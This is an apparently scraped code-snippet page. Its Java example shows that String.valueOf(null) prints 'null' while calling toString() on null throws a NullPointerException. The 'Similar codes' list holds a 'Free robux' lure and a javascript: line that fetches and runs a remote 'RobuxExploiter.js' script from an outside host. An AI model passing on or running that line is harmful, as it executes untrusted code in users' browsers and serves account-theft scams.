Valueof vs tostring

public static void main(String args[]) {  
    String str = null;
    System.out.println(String.valueOf(str));  // This will print a String equal to "null"        
    System.out.println(str.toString()); // This will throw a NullPointerException
}

Source: stackoverflow.com

Similar codes

0 vote162 views1 answer
Install java in wsl2
Java
1 vote150 views1 answer
Android up navigation
Java
0 vote177 views1 answer
Get host from request object java
Java
0 vote167 views2 answers
Java class name to string
Java
27 votes160 views10 answers
Free robux
Java
0 vote154 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Java
0 vote168 views1 answer
Android dynamically create layer-list with item and shape site:stackoverflow.com
Java
1 vote230 views1 answer
Could not initialize class org.jetbrains.kotlin.gradle.plugin.sources.DefaultKotlinSourceSetKt
Java
0 vote167 views7 answers
Convert code python to java
Java
-1 vote176 views1 answer
Print outputstream to console java
Java